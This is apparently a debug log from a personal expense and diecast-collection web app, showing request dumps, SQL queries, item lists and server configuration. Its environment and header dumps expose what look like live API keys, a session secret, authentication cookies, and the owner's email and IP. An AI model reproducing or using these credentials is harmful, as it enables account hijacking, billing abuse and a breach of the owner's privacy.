    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T05:05:19.256Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.183.113',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'HTTP_X_FORWARDED-FOR': '49.43.183.113',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-06-07T05:05:54.662Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-06-07T05:05:54.662Z server-connect:router Serving serverConnect /api/masters/get-items
2026-06-07T05:05:54.664Z server-connect:app Executing action step identify
2026-06-07T05:05:54.664Z server-connect:app options: { provider: 'security' }
2026-06-07T05:05:54.664Z server-connect:output identity: 1
2026-06-07T05:05:54.664Z server-connect:app Executing action step restrict
2026-06-07T05:05:54.664Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:05:54.665Z server-connect:output restrict: undefined
2026-06-07T05:05:54.666Z server-connect:app Executing action step single
2026-06-07T05:05:54.667Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-06-07T05:05:54.668Z server-connect:app Executing action step identify
2026-06-07T05:05:54.668Z server-connect:app options: { provider: 'security' }
2026-06-07T05:05:54.668Z server-connect:output identity: 1
2026-06-07T05:05:54.668Z server-connect:app Executing action step restrict
2026-06-07T05:05:54.668Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:05:54.669Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-06-07T05:05:54.670Z server-connect:output restrict: undefined
2026-06-07T05:05:54.670Z server-connect:app Executing action step select
2026-06-07T05:05:54.670Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-06-07T05:05:54.676Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  ... 577 more items
]
2026-06-07T05:06:00.859Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-07T05:06:01.020Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-07T05:06:01.103Z server-connect:setup:upload Upload middleware configured.
2026-06-07T05:06:01.103Z server-connect:secure CSRF Protection initialized
2026-06-07T05:06:01.105Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-07T05:06:01.107Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-07T05:06:01.107Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-07T05:06:01.108Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-07T05:06:01.108Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-07T05:06:01.109Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-07T05:06:01.110Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-07T05:06:01.110Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-07T05:06:01.113Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-07T05:06:01.114Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-07T05:06:01.114Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-07T05:06:01.114Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-07T05:06:01.114Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-07T05:06:01.115Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-07T05:06:01.115Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-07T05:06:01.116Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-07T05:06:01.116Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-07T05:06:01.116Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-07T05:06:01.116Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-07T05:06:01.117Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-07T05:06:01.117Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-07T05:06:01.117Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-07T05:06:01.118Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-07T05:06:01.118Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-07T05:06:01.118Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-07T05:06:01.118Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-07T05:06:01.118Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-07T05:06:01.119Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-07T05:06:01.119Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-07T05:06:01.119Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-07T05:06:01.119Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-07T05:06:01.120Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-07T05:06:01.120Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-07T05:06:01.120Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-07T05:06:01.120Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-07T05:06:01.120Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-07T05:06:01.120Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-07T05:06:01.121Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-07T05:06:01.244Z server-connect:router Serving templateView /diecast-reports
2026-06-07T05:06:01.248Z server-connect:app Executing action step identify
2026-06-07T05:06:01.248Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:01.249Z server-connect:output identity: 1
2026-06-07T05:06:01.249Z server-connect:app Executing action step restrict
2026-06-07T05:06:01.249Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:06:01.251Z server-connect:output restrict: undefined
2026-06-07T05:06:01.251Z server-connect:router Render template diecast-reports
2026-06-07T05:06:01.252Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'x-forwarded-for': '49.43.183.113',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T05:05:19.256Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.183.113',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'HTTP_X_FORWARDED-FOR': '49.43.183.113',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-07T05:06:01.509Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-06-07T05:06:01.509Z server-connect:app Executing action step identify
2026-06-07T05:06:01.510Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:01.510Z server-connect:output identity: 1
2026-06-07T05:06:01.510Z server-connect:app Executing action step restrict
2026-06-07T05:06:01.510Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:01.511Z server-connect:output restrict: undefined
2026-06-07T05:06:01.511Z server-connect:app Executing action step custom
2026-06-07T05:06:01.512Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-06-07T05:06:01.516Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-06-07T05:06:02.134Z server-connect:router Serving templateView /house-planner
2026-06-07T05:06:02.134Z server-connect:app Executing action step identify
2026-06-07T05:06:02.134Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:02.134Z server-connect:output identity: 1
2026-06-07T05:06:02.134Z server-connect:app Executing action step restrict
2026-06-07T05:06:02.135Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:06:02.135Z server-connect:output restrict: undefined
2026-06-07T05:06:02.135Z server-connect:router Render template house-planner
2026-06-07T05:06:02.136Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
